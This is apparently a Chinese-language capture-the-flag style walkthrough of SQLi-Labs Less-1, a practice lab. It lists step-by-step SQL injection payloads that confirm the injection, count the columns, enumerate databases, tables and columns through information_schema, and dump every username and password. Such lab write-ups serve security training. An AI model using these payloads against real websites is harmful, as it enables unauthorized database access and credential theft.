SQLiLabs-less1通关流程

1.id=1asdas

SQLiLabs-less1通关流程_第1张图片

页面返回正常,说明不是数字型

2. ?id=1' and 1=1 --+

SQLiLabs-less1通关流程_第2张图片

正常

3. ?id=1' and 1=2--+

SQLiLabs-less1通关流程_第3张图片

报错,确定存在字符型注入

4. 猜解列数?id=1' order by 4--+

SQLiLabs-less1通关流程_第4张图片

1-3正常,4报错,存在列数3

5. 获取数据库用户信息

?id=-1' union select 1,user(),3 --+

SQLiLabs-less1通关流程_第5张图片

因为当前用户是root,存在实现跨库攻击的可能性

6. (可选)root权限下获取所有数据库名

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

SQLiLabs-less1通关流程_第6张图片

7. 猜解数据库名

?id=-1' union select 1,database(),3 --+

SQLiLabs-less1通关流程_第7张图片

数据库名:security

8. 获取数据库版本信息

?id=-1' union select 1,version(),3 --+

SQLiLabs-less1通关流程_第8张图片

数据库版本是5以上,存在information_schema(),用于查询数据库所拥有的表

9. 确认数据库操作系统类型

?id=-1' union select 1,@@version_compile_os,3 --+

SQLiLabs-less1通关流程_第9张图片

windows系统不区分大小写,注入时不用注意大小写问题

10. 确认目标数据库中的表名

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

SQLiLabs-less1通关流程_第10张图片

由名字可知,我们需要的信息在users表中

11. 获取users表中的列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

SQLiLabs-less1通关流程_第11张图片

user_id, first_name,      last_name, user,  password, 

avatar,last_login,failed_login,USER,

CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,   

id,username,password,level,     id, username,password

无法确认这几个users表中的各个表的归属,且此处id列有重复,也无法确定哪个id列是security数据库的users数据表中的id列

12. 再确认(增加查询条件)

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema = 'security'--+

SQLiLabs-less1通关流程_第12张图片

security数据库中的users表中的属性有id、username、password

13. 获取全部username、password

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+

SQLiLabs-less1通关流程_第13张图片

14. 验证

SQLiLabs-less1通关流程_第14张图片

你可能感兴趣的:(数据库,database)